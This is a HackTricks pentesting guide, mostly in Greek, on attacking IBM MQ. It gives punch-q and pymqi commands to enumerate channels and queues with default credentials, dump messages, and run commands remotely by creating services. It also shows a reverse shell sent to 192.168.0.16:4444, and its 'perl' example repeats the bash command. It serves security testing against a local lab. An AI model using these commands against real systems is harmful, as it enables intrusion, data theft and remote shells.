23 KiB
1414 - Pentesting IBM MQ
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic information
IBM MQ είναι μια τεχνολογία της IBM για τη διαχείριση ουρών μηνυμάτων. Όπως άλλες τεχνολογίες message broker, είναι αφιερωμένη στη λήψη, αποθήκευση, επεξεργασία και ταξινόμηση πληροφοριών μεταξύ παραγωγών και καταναλωτών.
Από προεπιλογή, εκθέτει την TCP θύρα 1414 του IBM MQ. Μερικές φορές, το HTTP REST API μπορεί να εκτεθεί στην θύρα 9443. Οι μετρήσεις (Prometheus) μπορούν επίσης να προσπελαστούν από την TCP θύρα 9157.
Η TCP θύρα 1414 του IBM MQ μπορεί να χρησιμοποιηθεί για να χειριστεί μηνύματα, ουρές, κανάλια, ... αλλά και για να ελέγξει την instance.
Η IBM παρέχει εκτενή τεχνική τεκμηρίωση διαθέσιμη στο https://www.ibm.com/docs/en/ibm-mq.
Tools
Ένα προτεινόμενο εργαλείο για εύκολη εκμετάλλευση είναι το punch-q, με χρήση Docker. Το εργαλείο χρησιμοποιεί ενεργά τη βιβλιοθήκη Python pymqi
.
Για μια πιο χειροκίνητη προσέγγιση, χρησιμοποιήστε τη βιβλιοθήκη Python pymqi. Εξαρτήσεις IBM MQ είναι απαραίτητες.
Installing pymqi
Οι εξαρτήσεις IBM MQ πρέπει να εγκατασταθούν και να φορτωθούν:
- Δημιουργήστε έναν λογαριασμό (IBMid) στο https://login.ibm.com/.
- Κατεβάστε τις βιβλιοθήκες IBM MQ από https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Για Linux x86_64 είναι 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
- Αποσυμπιέστε (
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz
). - Εκτελέστε
sudo ./mqlicense.sh
για να αποδεχθείτε τους όρους άδειας.
Αν βρίσκεστε σε Kali Linux, τροποποιήστε το αρχείο
mqlicense.sh
: αφαιρέστε/σχολιάστε τις παρακάτω γραμμές (μεταξύ γραμμών 105-110):if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- Εγκαταστήστε αυτά τα πακέτα:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- Στη συνέχεια, προσθέστε προσωρινά τα
.so
αρχεία στο LD:export LD_LIBRARY_PATH=/opt/mqm/lib64
, πριν εκτελέσετε άλλα εργαλεία που χρησιμοποιούν αυτές τις εξαρτήσεις.
Στη συνέχεια, μπορείτε να κλωνοποιήσετε το έργο pymqi: περιέχει ενδιαφέροντα αποσπάσματα κώδικα, σταθερές, ... Ή μπορείτε να εγκαταστήσετε απευθείας τη βιβλιοθήκη με: pip install pymqi
.
Χρήση punch-q
Με Docker
Απλά χρησιμοποιήστε: sudo docker run --rm -ti leonjza/punch-q
.
Χωρίς Docker
Κλωνοποιήστε το έργο punch-q και στη συνέχεια ακολουθήστε το readme για την εγκατάσταση (pip install -r requirements.txt && python3 setup.py install
).
Μετά, μπορεί να χρησιμοποιηθεί με την εντολή punch-q
.
Αριθμητική
Μπορείτε να προσπαθήσετε να αριθμήσετε το όνομα διαχειριστή ουράς, τους χρήστες, τα κανάλια και τις ουρές με punch-q ή pymqi.
Διαχειριστής Ουράς
Μερικές φορές, δεν υπάρχει προστασία κατά της απόκτησης του ονόματος διαχειριστή ουράς:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Channels
punch-q χρησιμοποιεί μια εσωτερική (τροποποιήσιμη) λίστα λέξεων για να βρει υπάρχοντες καναλιούς. Παράδειγμα χρήσης:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
Συμβαίνει μερικές φορές ορισμένες περιπτώσεις IBM MQ να δέχονται μη αυθεντικοποιημένα αιτήματα MQ, οπότε δεν χρειάζεται --username / --password
. Φυσικά, τα δικαιώματα πρόσβασης μπορεί επίσης να διαφέρουν.
Μόλις αποκτήσουμε ένα όνομα καναλιού (εδώ: DEV.ADMIN.SVRCONN
), μπορούμε να απαριθμήσουμε όλα τα άλλα κανάλια.
Η απαρίθμηση μπορεί βασικά να γίνει με αυτό το απόσπασμα κώδικα code/examples/dis_channels.py
από pymqi:
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
... Αλλά το punch-q ενσωματώνει επίσης αυτό το μέρος (με περισσότερες πληροφορίες!). Μπορεί να εκκινήσει με:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
Queues
Υπάρχει ένα απόσπασμα κώδικα με pymqi (dis_queues.py
) αλλά το punch-q επιτρέπει την ανάκτηση περισσότερων πληροφοριών σχετικά με τις ουρές:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
Dump messages
Μπορείτε να στοχεύσετε ουρές/κανάλια για να κατασκοπεύσετε/εξάγετε μηνύματα από αυτά (μη καταστροφική λειτουργία). Examples:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
Μη διστάσετε να επαναλάβετε όλες τις αναγνωρισμένες ουρές.
Εκτέλεση κώδικα
Ορισμένες λεπτομέρειες πριν συνεχίσουμε: Το IBM MQ μπορεί να ελεγχθεί μέσω πολλών τρόπων: MQSC, PCF, Control Command. Ορισμένες γενικές λίστες μπορούν να βρεθούν στην τεκμηρίωση του IBM MQ. PCF (Προγραμματιζόμενες Μορφές Εντολών) είναι αυτό που επικεντρωνόμαστε για να αλληλεπιδράσουμε απομακρυσμένα με την περίπτωση. punch-q και επιπλέον pymqi βασίζονται σε αλληλεπιδράσεις PCF.
Μπορείτε να βρείτε μια λίστα με τις εντολές PCF:
Μια ενδιαφέρουσα εντολή είναι η
MQCMD_CREATE_SERVICE
και η τεκμηρίωσή της είναι διαθέσιμη εδώ. Δέχεται ως επιχείρημα μιαStartCommand
που δείχνει σε ένα τοπικό πρόγραμμα στην περίπτωση (παράδειγμα:/bin/sh
).Υπάρχει επίσης μια προειδοποίηση για την εντολή στα έγγραφα: "Προσοχή: Αυτή η εντολή επιτρέπει σε έναν χρήστη να εκτελέσει μια αυθαίρετη εντολή με εξουσία mqm. Εάν παραχωρηθούν δικαιώματα για τη χρήση αυτής της εντολής, ένας κακόβουλος ή απρόσεκτος χρήστης θα μπορούσε να ορίσει μια υπηρεσία που θα βλάψει τα συστήματα ή τα δεδομένα σας, για παράδειγμα, διαγράφοντας απαραίτητα αρχεία."
Σημείωση: πάντα σύμφωνα με την τεκμηρίωση του IBM MQ (Administration Reference), υπάρχει επίσης ένα HTTP endpoint στο
/admin/action/qmgr/{qmgrName}/mqsc
για να εκτελέσετε την αντίστοιχη εντολή MQSC για τη δημιουργία υπηρεσίας (DEFINE SERVICE
). Αυτό το θέμα δεν έχει καλυφθεί ακόμα εδώ.
Η δημιουργία / διαγραφή υπηρεσίας με PCF για απομακρυσμένη εκτέλεση προγράμματος μπορεί να γίνει με punch-q:
Παράδειγμα 1
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
Στα αρχεία καταγραφής του IBM MQ, μπορείτε να διαβάσετε ότι η εντολή εκτελέστηκε επιτυχώς:
2023-10-10T19:13:01.713Z AMQ5030I: Η εντολή '808544aa7fc94c48' έχει ξεκινήσει. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
Μπορείτε επίσης να απαριθμήσετε τα υπάρχοντα προγράμματα στη μηχανή (εδώ /bin/doesnotexist
... δεν υπάρχει):
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
Να είστε προσεκτικοί ότι η εκκίνηση του προγράμματος είναι ασύγχρονη. Έτσι χρειάζεστε ένα δεύτερο στοιχείο για να εκμεταλλευτείτε την ευπάθεια (listener for reverse shell, file creation on different service, data exfiltration through network ...)
Παράδειγμα 2
Για εύκολη reverse shell, punch-q προτείνει επίσης δύο payloads reverse shell:
- Ένα με bash
- Ένα με perl
Φυσικά μπορείτε να δημιουργήσετε ένα προσαρμοσμένο με την εντολή execute
.
Για bash:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Για perl:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Custom PCF
Μπορείτε να ερευνήσετε την τεκμηρίωση του IBM MQ και να χρησιμοποιήσετε απευθείας τη βιβλιοθήκη pymqi python για να δοκιμάσετε συγκεκριμένη εντολή PCF που δεν έχει υλοποιηθεί στο punch-q.
Example:
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
Αν δεν μπορείτε να βρείτε τα ονόματα σταθερών, μπορείτε να ανατρέξετε στην τεκμηρίωση IBM MQ.
Παράδειγμα για
MQCMD_REFRESH_CLUSTER
(Δεκαδικό = 73). Χρειάζεται την παράμετροMQCA_CLUSTER_NAME
(Δεκαδικό = 2029) η οποία μπορεί να είναι*
(Έγγραφο: ):import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: args = {2029: "*"} response = pcf.MQCMD_REFRESH_CLUSTER(args) except pymqi.MQMIError as e: print("Error") else: print(response) qmgr.disconnect()
Περιβάλλον δοκιμών
Αν θέλετε να δοκιμάσετε τη συμπεριφορά και τις εκμεταλλεύσεις του IBM MQ, μπορείτε να ρυθμίσετε ένα τοπικό περιβάλλον βασισμένο σε Docker:
- Έχοντας έναν λογαριασμό στο ibm.com και cloud.ibm.com.
- Δημιουργήστε ένα κοντέινερ IBM MQ με:
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
Κατά προεπιλογή, η αυθεντικοποίηση είναι ενεργοποιημένη, το όνομα χρήστη είναι admin
και ο κωδικός πρόσβασης είναι passw0rd
(Μεταβλητή περιβάλλοντος MQ_ADMIN_PASSWORD
). Εδώ, το όνομα του διαχειριστή ουρών έχει οριστεί σε MYQUEUEMGR
(μεταβλητή MQ_QMGR_NAME
).
Πρέπει να έχετε το IBM MQ σε λειτουργία με τις θύρες του εκτεθειμένες:
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
Οι παλιές εκδόσεις των εικόνων docker του IBM MQ βρίσκονται στη διεύθυνση: https://hub.docker.com/r/ibmcom/mq/.